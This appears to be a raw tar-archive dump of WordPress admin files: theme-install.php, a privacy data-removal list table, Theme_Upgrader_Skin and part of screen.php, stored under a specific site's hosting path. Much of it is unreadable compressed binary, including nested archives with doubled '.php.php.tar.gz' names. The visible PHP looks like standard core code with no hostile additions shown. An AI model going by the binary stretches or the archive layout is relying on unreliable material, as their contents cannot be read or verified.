�5�<m:+����E�o�i ���`3�z=����Hô01rT"֏P��uMO�"��M1�@$P���<��lpK6��t�\u�|7�hc5���
���P�V�O� rB܋�2��ݑ��0�r}
�ޏ4�p�C�(H|�#�c�_(�B|Gz�&GP�}E���΍;
��7b���}2p��B���z�����Z�')XR8O\�MX��DX?�$W������y���T��S��lB`Be>��tSu0q��R�I!@
^	�6�[-�j��n�b�Iq�KB��'p}��m��&���q�>�[��n�0�O��'��5���m�ш�r�?�"��\)!4p�Ghd�qp%|�Q�m�6�XG(
�0���*u�x�!�LʋH�)�`�mc�߳���” s&��H�bJ�	Ay �b��7sU�f��i&>
i����\
pKh%p��T�Z���rDT��i|L��IX>���o��`M2X�U���@W�(��sQ�3�l%���qe���ctJ�ZH�c��D�yv�Q3-'�3�{bV��A7�әL;a�i�rA��>K���O"M4��>���[��J�0o�V�-�k*!z���񞨠@�ʋ8���Fv�l�%yA�&�i��#�/F#Գ�X([=|w�z��@xT����ֽ�Qw:�v;p��k�Y�Ys�]�Y��}�f�6�U�E4�+�r8���c�N<��ġa���'s�|=��l��L�抍�8�{]�O�u|w'�O��~7�)T�IQY ��~&��km[�G��)-��[����Ǔ��mv�	u�~|ͽԔax~t�=�3^�g���X����<T��U��܈X����|^�)Y7"�u`������&ћ	�
��L<�am΄�̆�̂��qLB��r/q0�
qǂh����93�m�ж-h�">�&H%�ÙP�l�[����,tC��Z�����y`~X��L�a���z��/b�ۢ���Q��t�P7��\���9~�ƫh^|��,.	�
Ƥ�;����f�@~�,8�Ifo{A2�$����̝��ܙE&�3����bd��$s���m�{|'��Ћ"�&�!�������+D�~	�ȅ����A������`�AV�����)g*�VA߄�bP��O��j�'J$�@r~�Ʋ5#�T�
�����(0�0�!9�̊�1$4�v?�����f4݌6�Og��,�?"u�b�ϔ9PY�ޣe7�M���`6��j-��d���?�m�,$�	
�:��T)��Ĵe`6!�I����}W'��1#.�g�q�ԉ�l�1�ќږ��8�a��/Cs�F�zKj)ӗ�>�!�Og��^
���O��ߧ
>,�M[Ie�ִ�8�#�p�z�if����H���)���+��z� �U�jj�m��	mv~�vp����l�cQ�ۇEv���m�Sį;��T}��_o��-��@Z�đ!�VR�b)k���="(��1��>Bݬ>ng�Ԍ�Ɇ<�>>���
y�}��ǜKճ
N�HĨ�>V)ڗ*����u��bW	J3���#��uڳ�т�s:3G?*�)R�'�Q����Fz�k�O���ԕ�G	\�W3�z�?m�"-e<��ݰ��~�o����ˏ�А�<j?�Q��v��[ۻ��/��Pŧ�.t<�FN�Я9|3c~�t���ع�Fu��
f�c��m�@���-�6���ŗ�q�x�CW1���-�E���m("�:�M��:8�
2��ZW��bvT��,b��n:�RcC�Ӽ�O0�<Ü)�$�~��S�c@G�fB�&*��Rh5��O;`���`>X]�T�|�&���V*/=*��R�Qmj�ߴ��EP��wd��E�Q�k�Y����t�J�x��#��]C��{S���鳅�2/�m|�V���L���ģ�����aef�u�2'K�E�� ���/6�fF΋��6Ls�l����1P=rP��}a����BL��f�<�*���s�p.sIx�f��Q���K�9�0))x;c��%�ji�f�Ħzǭ".��J�����S}���A�,�$Ey{�]�ڧ�������Ke�� 5��K�`Y�Tge�I��������/�e\Faf��ےY�E�~w�X�ރ�-�*gY�s;�t{A��Oo��So����{QW�����u(k%�r����,+�L&��J<P����Z�34s��%GvC��
&�Cy��r6�97��A�s|��fj�a��k�>M��6v}�o���K�-�źY�{���~U!PV�i��}�3|J��"�/�j�x� �B@ɵ��^ۖE�}�)����*�J�eU�D<,��2=��S��tȖJ3�lmY�����$�ӑ�T�#������m��O�p
����F�ڸ���|���^�G�*KFJ�G[�@^+�WԱ�� �\���G0�S�96o�E����(�)A\Ǖ��ufj~������n���FQz�4�rkV����9G
]�R_k��qwQ�6�˫W���@ZPzZa�Wpw���g+�<�-\M����,��*�+�e�j�͐�e[,h���_����C�7�/��
�&c>	�]k�RDh~��q�r�$
�;r�{-	>�0Z Z��]��*y	C닰�״wJ��Kp�`n��
�Z�05*q^f��?N�X�a��VrA�j)P��6���)���9''�X�n�	"�v��G���]$�4�e�ܪW�
����Af�+�q/�[$t�C�n��:K���9��뾢zv)����6zu~�Y��J
��+q�D�7���[�~R|�Q@{̶2T�W����(̡SՉ��&.���WY��62ϊ�j�;ҺD{�*]�-ͬU+�T��`���>�~�k��gK��MrrY��֑Y_�����@|�A�\*�/NVI��|tAZ�,�c�q�_-2=&�b��|�y���F�pZ��EZ�س�C��S��*Bk<��>$\�׭��>��G
�@�^���N3o{���&CI�����������Fw�x�����F���X�(/�)�z3�~�T�_
�l�<H^�5����͹.��G�W_�c1���:p�p�����^��k���,m(ơ|L���k�w��/�a�.�X�>s�i�?e~=	V�`�rc�e�4��Y���nkR��Co�.�D�[Tz�˔�r��o����5?��xb�
�9A�{������I���S�-KN�K_��N���Y�y٢������8���'����k�x�{�S���[U�K(���ՠ^�E��w�薧^F+-hG�����:�"?���,��F�k�ƽ9��}:DlNčE�E�M�L�>פG�O,���<�kR�O�>��ٿ��z}��^�����fclass-wp-upgrader-skin.php.php.tar.gz000064400000004174150275632050013564 0ustar00��ks�ƶ_�_�us�B� �pZ�@i�RR�LF^KkKD���U\ߒ�~�ه���80��3E��{��#�b�F9���Y>�8�
QqQ�-�;4^��(ͣ���E�߁�s3~G\�yP&�g]�<���=|p�gw��}u����C8�w���9�'>(́�_���<�<�ݾ�'��k�R��oɛ�����c�\p�}I�:g�M���NE5�W�C�0r<�}Էd9�iD�Y��L��@�59KRA0���xL�9��,Ȕ��dy�HH�,Jg@��xY ��\�r/�Z�Ғ��(.5�T
R,A�4cdƋ�i*̅@i����YV,��r�H�^��˔��Bݴ��~-���Y,�=,ySI�T-E��K�]�x8��j��-�,���7	.�$L1A�9�	�iQdk54��dF3�����sxJ[x5�X�2I�����Mx
��|�Y��>�X7�!}-���i���O9��5���X��.��F�*�o�2��T��M����!K��BB�(��R�G3�T�rÊ3�V��\�P��<����1�,�Q�>�y@���(�Js�V�Uy��$#k�HX��C��z{���l�5��g�>=&�7Tgy���g�>��3`,�"yx����[�QB�s�xrY�`I�B��9$�`�u�:g8�ߤ{�u���ɭ�X&�R4,��s�!�*���[cz u
C�8�	%���Z�-��Б���B�c3]�m[���}v��jx��a�M�.�v�ORQft%�$]`CR�@���7g�U0��N9yvv2:=}�"i�	9����9��®&VB�E�qڍ-0�31=!�f���(��{/�ʉ
�	�c�<�v�1f5	�B�Ac(
)P�׽����t<M)�]U�*΁|mÄ
HO`;vv�]H�
+�t�4�J�$،9�k��K�gU��db���a�_���T%h��U�j�P�%O%�fl���.ip�(N<����ʯ!�Q��$-��"1ȏ���4�,��ֵg���{�+诐pUA�j@<A��ӕ�;φ�����9c,�;�4X6塋`����[�[��2�y��ֆ�:�m-���9���X�N��A�QW!�bu�ٰW�Bu�3��2��5��kvW�RvTfn̋'�]����8^Ϧ������j��Y�c�	F�,J
�=��K=;�KN���\&w�=l�X�p�=!̇+���.�̈�S�z�^SjZ�jK/]�ӂ�7ѕ�
ȯ�e>��G�ƺ��0�hQ\�m�c�6VB� ��D���-�̩���*{PD��7`s�
��p�
vd���g^-���&��b����Z�m�Z�u���(L�
.CI�bqe*k�ݬ,x�su}Dك��@^1X��IO����Sr��2�qk�`�%=��S&{��D�3��h
��"��,���/�i�F�z����!A���pD�n�`���Zu���1��9l�&q+�̮�9����#�[�����P�B���P0U�%���a���j{�z�
���D�j�
��627��.E	��YKD�ʭ�O���G�@�1��_��'��.p��ګS�@�
5�,![BB#c9��[6��#��q�3�7\F/+YV�P�L/�i�z�����,f��1��w*�3teý��}��) 0W%#g��W.����7�`ي\�b���̪y�{�c��-D��E.2��+�Q���_$q��֌C-R�D�����޿_k��}��*Ȃ�)��x<ހوG�6�4g1d�O�^=~�4|����OOϜ|4�[灴���;p�>�r�HB��2(!m��&����_�ҳ@�'�W���e:�����dP��2�h���.��r�c�р\����)+"��SD0�I����C$ �x[ t��=i��,�6�0�o��U:F��+�\�2�a"�oAm������7lbu2J���k�-K{���d�V�E�L��݌�.��4f�����Z���Y�팰L�)dX�+��4V��F~�6j�Qp��K�?m"6Gf7�X(��(�Ɓ&P�N:e$Ic�a���e*:WLga[[ߑE���m������	}z>=�����'�� class-wp-upgrader-skins.php.php.tar.gz000064400000000706150275632050013744 0ustar00���K�0�}�_q�2�ݏ�	
:��`�){Y{��ڴ&
��{�
�̇�ؽ��$�O�r������(�X���RZb��E��-��Rg:A���ȯ˥�	ʖZ�B��<��6�y��u�Q�Oϰ3��w{�^�u�.MS���?���vuM�ͦMxX!<*�0�����t�aQH�hxV�$�*Q0J3��)ZmnJ����4�Uz�����TU]��o��K�1�0��Xg�y���=�9W(xNo��Ɠ;���vM�^�Ԩ���^z&R�El�
f�;߰$>�T"+̾���h�p>4��XΆez�
W�Ҫ����rt��X=�VgkW�9i�!�M��˦�:M�����&б���e�J&���Ԍ+�{p��	KM-�E�
\�5ۈ�L���PWEN�\�˷��L�2�'���p����K�`;ؿ�7B.k�theme-install.php000064400000015505150275632050010036 0ustar00<?php
/**
 * WordPress Theme Installation Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

$themes_allowedtags = array(
	'a'       => array(
		'href'   => array(),
		'title'  => array(),
		'target' => array(),
	),
	'abbr'    => array( 'title' => array() ),
	'acronym' => array( 'title' => array() ),
	'code'    => array(),
	'pre'     => array(),
	'em'      => array(),
	'strong'  => array(),
	'div'     => array(),
	'p'       => array(),
	'ul'      => array(),
	'ol'      => array(),
	'li'      => array(),
	'h1'      => array(),
	'h2'      => array(),
	'h3'      => array(),
	'h4'      => array(),
	'h5'      => array(),
	'h6'      => array(),
	'img'     => array(
		'src'   => array(),
		'class' => array(),
		'alt'   => array(),
	),
);

$theme_field_defaults = array(
	'description'  => true,
	'sections'     => false,
	'tested'       => true,
	'requires'     => true,
	'rating'       => true,
	'downloaded'   => true,
	'downloadlink' => true,
	'last_updated' => true,
	'homepage'     => true,
	'tags'         => true,
	'num_ratings'  => true,
);

/**
 * Retrieves the list of WordPress theme features (aka theme tags).
 *
 * @since 2.8.0
 *
 * @deprecated 3.1.0 Use get_theme_feature_list() instead.
 *
 * @return array
 */
function install_themes_feature_list() {
	_deprecated_function( __FUNCTION__, '3.1.0', 'get_theme_feature_list()' );

	$cache = get_transient( 'wporg_theme_feature_list' );
	if ( ! $cache ) {
		set_transient( 'wporg_theme_feature_list', array(), 3 * HOUR_IN_SECONDS );
	}

	if ( $cache ) {
		return $cache;
	}

	$feature_list = themes_api( 'feature_list', array() );
	if ( is_wp_error( $feature_list ) ) {
		return array();
	}

	set_transient( 'wporg_theme_feature_list', $feature_list, 3 * HOUR_IN_SECONDS );

	return $feature_list;
}

/**
 * Displays search form for searching themes.
 *
 * @since 2.8.0
 *
 * @param bool $type_selector
 */
function install_theme_search_form( $type_selector = true ) {
	$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
	$term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : '';
	if ( ! $type_selector ) {
		echo '<p class="install-help">' . __( 'Search for themes by keyword.' ) . '</p>';
	}
	?>
<form id="search-themes" method="get">
	<input type="hidden" name="tab" value="search" />
	<?php if ( $type_selector ) : ?>
	<label class="screen-reader-text" for="typeselector">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Type of search' );
		?>
	</label>
	<select	name="type" id="typeselector">
	<option value="term" <?php selected( 'term', $type ); ?>><?php _e( 'Keyword' ); ?></option>
	<option value="author" <?php selected( 'author', $type ); ?>><?php _e( 'Author' ); ?></option>
	<option value="tag" <?php selected( 'tag', $type ); ?>><?php _ex( 'Tag', 'Theme Installer' ); ?></option>
	</select>
	<label class="screen-reader-text" for="s">
		<?php
		switch ( $type ) {
			case 'term':
				/* translators: Hidden accessibility text. */
				_e( 'Search by keyword' );
				break;
			case 'author':
				/* translators: Hidden accessibility text. */
				_e( 'Search by author' );
				break;
			case 'tag':
				/* translators: Hidden accessibility text. */
				_e( 'Search by tag' );
				break;
		}
		?>
	</label>
	<?php else : ?>
	<label class="screen-reader-text" for="s">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Search by keyword' );
		?>
	</label>
	<?php endif; ?>
	<input type="search" name="s" id="s" size="30" value="<?php echo esc_attr( $term ); ?>" autofocus="autofocus" />
	<?php submit_button( __( 'Search' ), '', 'search', false ); ?>
</form>
	<?php
}

/**
 * Displays tags filter for themes.
 *
 * @since 2.8.0
 */
function install_themes_dashboard() {
	install_theme_search_form( false );
	?>
<h4><?php _e( 'Feature Filter' ); ?></h4>
<p class="install-help"><?php _e( 'Find a theme based on specific features.' ); ?></p>

<form method="get">
	<input type="hidden" name="tab" value="search" />
	<?php
	$feature_list = get_theme_feature_list();
	echo '<div class="feature-filter">';

	foreach ( (array) $feature_list as $feature_name => $features ) {
		$feature_name = esc_html( $feature_name );
		echo '<div class="feature-name">' . $feature_name . '</div>';

		echo '<ol class="feature-group">';
		foreach ( $features as $feature => $feature_name ) {
			$feature_name = esc_html( $feature_name );
			$feature      = esc_attr( $feature );
			?>

<li>
	<input type="checkbox" name="features[]" id="feature-id-<?php echo $feature; ?>" value="<?php echo $feature; ?>" />
	<label for="feature-id-<?php echo $feature; ?>"><?php echo $feature_name; ?></label>
</li>

<?php	} ?>
</ol>
<br class="clear" />
		<?php
	}
	?>

</div>
<br class="clear" />
	<?php submit_button( __( 'Find Themes' ), '', 'search' ); ?>
</form>
	<?php
}

/**
 * Displays a form to upload themes from zip files.
 *
 * @since 2.8.0
 */
function install_themes_upload() {
	?>
<p class="install-help"><?php _e( 'If you have a theme in a .zip format, you may install or update it by uploading it here.' ); ?></p>
<form method="post" enctype="multipart/form-data" class="wp-upload-form" action="<?php echo esc_url( self_admin_url( 'update.php?action=upload-theme' ) ); ?>">
	<?php wp_nonce_field( 'theme-upload' ); ?>
	<label class="screen-reader-text" for="themezip">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Theme zip file' );
		?>
	</label>
	<input type="file" id="themezip" name="themezip" accept=".zip" />
	<?php submit_button( __( 'Install Now' ), '', 'install-theme-submit', false ); ?>
</form>
	<?php
}

/**
 * Prints a theme on the Install Themes pages.
 *
 * @deprecated 3.4.0
 *
 * @global WP_Theme_Install_List_Table $wp_list_table
 *
 * @param object $theme
 */
function display_theme( $theme ) {
	_deprecated_function( __FUNCTION__, '3.4.0' );
	global $wp_list_table;
	if ( ! isset( $wp_list_table ) ) {
		$wp_list_table = _get_list_table( 'WP_Theme_Install_List_Table' );
	}
	$wp_list_table->prepare_items();
	$wp_list_table->single_row( $theme );
}

/**
 * Displays theme content based on theme list.
 *
 * @since 2.8.0
 *
 * @global WP_Theme_Install_List_Table $wp_list_table
 */
function display_themes() {
	global $wp_list_table;

	if ( ! isset( $wp_list_table ) ) {
		$wp_list_table = _get_list_table( 'WP_Theme_Install_List_Table' );
	}
	$wp_list_table->prepare_items();
	$wp_list_table->display();
}

/**
 * Displays theme information in dialog box form.
 *
 * @since 2.8.0
 *
 * @global WP_Theme_Install_List_Table $wp_list_table
 */
function install_theme_information() {
	global $wp_list_table;

	$theme = themes_api( 'theme_information', array( 'slug' => wp_unslash( $_REQUEST['theme'] ) ) );

	if ( is_wp_error( $theme ) ) {
		wp_die( $theme );
	}

	iframe_header( __( 'Theme Installation' ) );
	if ( ! isset( $wp_list_table ) ) {
		$wp_list_table = _get_list_table( 'WP_Theme_Install_List_Table' );
	}
	$wp_list_table->theme_installer_single( $theme );
	iframe_footer();
	exit;
}
class-wp-privacy-data-removal-requests-list-table.php000064400000013123150275632050016747 0ustar00<?php
/**
 * List Table API: WP_Privacy_Data_Removal_Requests_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.9.6
 */

if ( ! class_exists( 'WP_Privacy_Requests_Table' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-requests-table.php';
}

/**
 * WP_Privacy_Data_Removal_Requests_List_Table class.
 *
 * @since 4.9.6
 */
class WP_Privacy_Data_Removal_Requests_List_Table extends WP_Privacy_Requests_Table {
	/**
	 * Action name for the requests this table will work with.
	 *
	 * @since 4.9.6
	 *
	 * @var string $request_type Name of action.
	 */
	protected $request_type = 'remove_personal_data';

	/**
	 * Post type for the requests.
	 *
	 * @since 4.9.6
	 *
	 * @var string $post_type The post type.
	 */
	protected $post_type = 'user_request';

	/**
	 * Outputs the Actions column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 * @return string Email column markup.
	 */
	public function column_email( $item ) {
		$row_actions = array();

		// Allow the administrator to "force remove" the personal data even if confirmation has not yet been received.
		$status      = $item->status;
		$request_id  = $item->ID;
		$row_actions = array();
		if ( 'request-confirmed' !== $status ) {
			/** This filter is documented in wp-admin/includes/ajax-actions.php */
			$erasers       = apply_filters( 'wp_privacy_personal_data_erasers', array() );
			$erasers_count = count( $erasers );
			$nonce         = wp_create_nonce( 'wp-privacy-erase-personal-data-' . $request_id );

			$remove_data_markup = '<span class="remove-personal-data force-remove-personal-data" ' .
				'data-erasers-count="' . esc_attr( $erasers_count ) . '" ' .
				'data-request-id="' . esc_attr( $request_id ) . '" ' .
				'data-nonce="' . esc_attr( $nonce ) .
				'">';

			$remove_data_markup .= '<span class="remove-personal-data-idle"><button type="button" class="button-link remove-personal-data-handle">' . __( 'Force erase personal data' ) . '</button></span>' .
				'<span class="remove-personal-data-processing hidden">' . __( 'Erasing data...' ) . ' <span class="erasure-progress"></span></span>' .
				'<span class="remove-personal-data-success hidden">' . __( 'Erasure completed.' ) . '</span>' .
				'<span class="remove-personal-data-failed hidden">' . __( 'Force erasure has failed.' ) . ' <button type="button" class="button-link remove-personal-data-handle">' . __( 'Retry' ) . '</button></span>';

			$remove_data_markup .= '</span>';

			$row_actions['remove-data'] = $remove_data_markup;
		}

		if ( 'request-completed' !== $status ) {
			$complete_request_markup  = '<span>';
			$complete_request_markup .= sprintf(
				'<a href="%s" class="complete-request" aria-label="%s">%s</a>',
				esc_url(
					wp_nonce_url(
						add_query_arg(
							array(
								'action'     => 'complete',
								'request_id' => array( $request_id ),
							),
							admin_url( 'erase-personal-data.php' )
						),
						'bulk-privacy_requests'
					)
				),
				esc_attr(
					sprintf(
						/* translators: %s: Request email. */
						__( 'Mark export request for &#8220;%s&#8221; as completed.' ),
						$item->email
					)
				),
				__( 'Complete request' )
			);
			$complete_request_markup .= '</span>';
		}

		if ( ! empty( $complete_request_markup ) ) {
			$row_actions['complete-request'] = $complete_request_markup;
		}

		return sprintf( '<a href="%1$s">%2$s</a> %3$s', esc_url( 'mailto:' . $item->email ), $item->email, $this->row_actions( $row_actions ) );
	}

	/**
	 * Outputs the Next steps column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 */
	public function column_next_steps( $item ) {
		$status = $item->status;

		switch ( $status ) {
			case 'request-pending':
				esc_html_e( 'Waiting for confirmation' );
				break;
			case 'request-confirmed':
				/** This filter is documented in wp-admin/includes/ajax-actions.php */
				$erasers       = apply_filters( 'wp_privacy_personal_data_erasers', array() );
				$erasers_count = count( $erasers );
				$request_id    = $item->ID;
				$nonce         = wp_create_nonce( 'wp-privacy-erase-personal-data-' . $request_id );

				echo '<div class="remove-personal-data" ' .
					'data-force-erase="1" ' .
					'data-erasers-count="' . esc_attr( $erasers_count ) . '" ' .
					'data-request-id="' . esc_attr( $request_id ) . '" ' .
					'data-nonce="' . esc_attr( $nonce ) .
					'">';

				?>
				<span class="remove-personal-data-idle"><button type="button" class="button-link remove-personal-data-handle"><?php _e( 'Erase personal data' ); ?></button></span>
				<span class="remove-personal-data-processing hidden"><?php _e( 'Erasing data...' ); ?> <span class="erasure-progress"></span></span>
				<span class="remove-personal-data-success success-message hidden" ><?php _e( 'Erasure completed.' ); ?></span>
				<span class="remove-personal-data-failed hidden"><?php _e( 'Data erasure has failed.' ); ?> <button type="button" class="button-link remove-personal-data-handle"><?php _e( 'Retry' ); ?></button></span>
				<?php

				echo '</div>';

				break;
			case 'request-failed':
				echo '<button type="submit" class="button-link" name="privacy_action_email_retry[' . $item->ID . ']" id="privacy_action_email_retry[' . $item->ID . ']">' . __( 'Retry' ) . '</button>';
				break;
			case 'request-completed':
				echo '<a href="' . esc_url(
					wp_nonce_url(
						add_query_arg(
							array(
								'action'     => 'delete',
								'request_id' => array( $item->ID ),
							),
							admin_url( 'erase-personal-data.php' )
						),
						'bulk-privacy_requests'
					)
				) . '">' . esc_html__( 'Remove request' ) . '</a>';
				break;
		}
	}
}
class-theme-upgrader-skin.php000064400000010107150275632050012237 0ustar00<?php
/**
 * Upgrader API: Theme_Upgrader_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Theme Upgrader Skin for WordPress Theme Upgrades.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Theme_Upgrader_Skin extends WP_Upgrader_Skin {

	/**
	 * Holds the theme slug in the Theme Directory.
	 *
	 * @since 2.8.0
	 *
	 * @var string
	 */
	public $theme = '';

	/**
	 * Constructor.
	 *
	 * Sets up the theme upgrader skin.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args Optional. The theme upgrader skin arguments to
	 *                    override default options. Default empty array.
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'url'   => '',
			'theme' => '',
			'nonce' => '',
			'title' => __( 'Update Theme' ),
		);
		$args     = wp_parse_args( $args, $defaults );

		$this->theme = $args['theme'];

		parent::__construct( $args );
	}

	/**
	 * Performs an action following a single theme update.
	 *
	 * @since 2.8.0
	 */
	public function after() {
		$this->decrement_update_count( 'theme' );

		$update_actions = array();
		$theme_info     = $this->upgrader->theme_info();
		if ( $theme_info ) {
			$name       = $theme_info->display( 'Name' );
			$stylesheet = $this->upgrader->result['destination_name'];
			$template   = $theme_info->get_template();

			$activate_link = add_query_arg(
				array(
					'action'     => 'activate',
					'template'   => urlencode( $template ),
					'stylesheet' => urlencode( $stylesheet ),
				),
				admin_url( 'themes.php' )
			);
			$activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet );

			$customize_url = add_query_arg(
				array(
					'theme'  => urlencode( $stylesheet ),
					'return' => urlencode( admin_url( 'themes.php' ) ),
				),
				admin_url( 'customize.php' )
			);

			if ( get_stylesheet() === $stylesheet ) {
				if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
					$update_actions['preview'] = sprintf(
						'<a href="%s" class="hide-if-no-customize load-customize">' .
						'<span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
						esc_url( $customize_url ),
						__( 'Customize' ),
						/* translators: Hidden accessibility text. %s: Theme name. */
						sprintf( __( 'Customize &#8220;%s&#8221;' ), $name )
					);
				}
			} elseif ( current_user_can( 'switch_themes' ) ) {
				if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
					$update_actions['preview'] = sprintf(
						'<a href="%s" class="hide-if-no-customize load-customize">' .
						'<span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
						esc_url( $customize_url ),
						__( 'Live Preview' ),
						/* translators: Hidden accessibility text. %s: Theme name. */
						sprintf( __( 'Live Preview &#8220;%s&#8221;' ), $name )
					);
				}

				$update_actions['activate'] = sprintf(
					'<a href="%s" class="activatelink">' .
					'<span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
					esc_url( $activate_link ),
					__( 'Activate' ),
					/* translators: Hidden accessibility text. %s: Theme name. */
					sprintf( _x( 'Activate &#8220;%s&#8221;', 'theme' ), $name )
				);
			}

			if ( ! $this->result || is_wp_error( $this->result ) || is_network_admin() ) {
				unset( $update_actions['preview'], $update_actions['activate'] );
			}
		}

		$update_actions['themes_page'] = sprintf(
			'<a href="%s" target="_parent">%s</a>',
			self_admin_url( 'themes.php' ),
			__( 'Go to Themes page' )
		);

		/**
		 * Filters the list of action links available following a single theme update.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $update_actions Array of theme action links.
		 * @param string   $theme          Theme directory name.
		 */
		$update_actions = apply_filters( 'update_theme_complete_actions', $update_actions, $this->theme );

		if ( ! empty( $update_actions ) ) {
			$this->feedback( implode( ' | ', (array) $update_actions ) );
		}
	}
}
screen.php.tar000064400000020000150275632050007316 0ustar00home/natitnen/crestassured.com/wp-admin/includes/screen.php000064400000014323150273212750020121 0ustar00<?php
/**
 * WordPress Administration Screen API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Get the column headers for a screen
 *
 * @since 2.7.0
 *
 * @param string|WP_Screen $screen The screen you want the headers for
 * @return string[] The column header labels keyed by column ID.
 */
function get_column_headers( $screen ) {
	static $column_headers = array();

	if ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

	if ( ! isset( $column_headers[ $screen->id ] ) ) {
		/**
		 * Filters the column headers for a list table on a specific screen.
		 *
		 * The dynamic portion of the hook name, `$screen->id`, refers to the
		 * ID of a specific screen. For example, the screen ID for the Posts
		 * list table is edit-post, so the filter for that screen would be
		 * manage_edit-post_columns.
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $columns The column header labels keyed by column ID.
		 */
		$column_headers[ $screen->id ] = apply_filters( "manage_{$screen->id}_columns", array() );
	}

	return $column_headers[ $screen->id ];
}

/**
 * Get a list of hidden columns.
 *
 * @since 2.7.0
 *
 * @param string|WP_Screen $screen The screen you want the hidden columns for
 * @return string[] Array of IDs of hidden columns.
 */
function get_hidden_columns( $screen ) {
	if ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

	$hidden = get_user_option( 'manage' . $screen->id . 'columnshidden' );

	$use_defaults = ! is_array( $hidden );

	if ( $use_defaults ) {
		$hidden = array();

		/**
		 * Filters the default list of hidden columns.
		 *
		 * @since 4.4.0
		 *
		 * @param string[]  $hidden Array of IDs of columns hidden by default.
		 * @param WP_Screen $screen WP_Screen object of the current screen.
		 */
		$hidden = apply_filters( 'default_hidden_columns', $hidden, $screen );
	}

	/**
	 * Filters the list of hidden columns.
	 *
	 * @since 4.4.0
	 * @since 4.4.1 Added the `use_defaults` parameter.
	 *
	 * @param string[]  $hidden       Array of IDs of hidden columns.
	 * @param WP_Screen $screen       WP_Screen object of the current screen.
	 * @param bool      $use_defaults Whether to show the default columns.
	 */
	return apply_filters( 'hidden_columns', $hidden, $screen, $use_defaults );
}

/**
 * Prints the meta box preferences for screen meta.
 *
 * @since 2.7.0
 *
 * @global array $wp_meta_boxes
 *
 * @param WP_Screen $screen
 */
function meta_box_prefs( $screen ) {
	global $wp_meta_boxes;

	if ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

	if ( empty( $wp_meta_boxes[ $screen->id ] ) ) {
		return;
	}

	$hidden = get_hidden_meta_boxes( $screen );

	foreach ( array_keys( $wp_meta_boxes[ $screen->id ] ) as $context ) {
		foreach ( array( 'high', 'core', 'default', 'low' ) as $priority ) {
			if ( ! isset( $wp_meta_boxes[ $screen->id ][ $context ][ $priority ] ) ) {
				continue;
			}

			foreach ( $wp_meta_boxes[ $screen->id ][ $context ][ $priority ] as $box ) {
				if ( false === $box || ! $box['title'] ) {
					continue;
				}

				// Submit box cannot be hidden.
				if ( 'submitdiv' === $box['id'] || 'linksubmitdiv' === $box['id'] ) {
					continue;
				}

				$widget_title = $box['title'];

				if ( is_array( $box['args'] ) && isset( $box['args']['__widget_basename'] ) ) {
					$widget_title = $box['args']['__widget_basename'];
				}

				$is_hidden = in_array( $box['id'], $hidden, true );

				printf(
					'<label for="%1$s-hide"><input class="hide-postbox-tog" name="%1$s-hide" type="checkbox" id="%1$s-hide" value="%1$s" %2$s />%3$s</label>',
					esc_attr( $box['id'] ),
					checked( $is_hidden, false, false ),
					$widget_title
				);
			}
		}
	}
}

/**
 * Gets an array of IDs of hidden meta boxes.
 *
 * @since 2.7.0
 *
 * @param string|WP_Screen $screen Screen identifier
 * @return string[] IDs of hidden meta boxes.
 */
function get_hidden_meta_boxes( $screen ) {
	if ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

	$hidden = get_user_option( "metaboxhidden_{$screen->id}" );

	$use_defaults = ! is_array( $hidden );

	// Hide slug boxes by default.
	if ( $use_defaults ) {
		$hidden = array();

		if ( 'post' === $screen->base ) {
			if ( in_array( $screen->post_type, array( 'post', 'page', 'attachment' ), true ) ) {
				$hidden = array( 'slugdiv', 'trackbacksdiv', 'postcustom', 'postexcerpt', 'commentstatusdiv', 'commentsdiv', 'authordiv', 'revisionsdiv' );
			} else {
				$hidden = array( 'slugdiv' );
			}
		}

		/**
		 * Filters the default list of hidden meta boxes.
		 *
		 * @since 3.1.0
		 *
		 * @param string[]  $hidden An array of IDs of meta boxes hidden by default.
		 * @param WP_Screen $screen WP_Screen object of the current screen.
		 */
		$hidden = apply_filters( 'default_hidden_meta_boxes', $hidden, $screen );
	}

	/**
	 * Filters the list of hidden meta boxes.
	 *
	 * @since 3.3.0
	 *
	 * @param string[]  $hidden       An array of IDs of hidden meta boxes.
	 * @param WP_Screen $screen       WP_Screen object of the current screen.
	 * @param bool      $use_defaults Whether to show the default meta boxes.
	 *                                Default true.
	 */
	return apply_filters( 'hidden_meta_boxes', $hidden, $screen, $use_defaults );
}

/**
 * Register and configure an admin screen option
 *
 * @since 3.1.0
 *
 * @param string $option An option name.
 * @param mixed  $args   Option-dependent arguments.
 */
function add_screen_option( $option, $args = array() ) {
	$current_screen = get_current_screen();

	if ( ! $current_screen ) {
		return;
	}

	$current_screen->add_option( $option, $args );
}

/**
 * Get the current screen object
 *
 * @since 3.1.0
 *
 * @global WP_Screen $current_screen WordPress current screen object.
 *
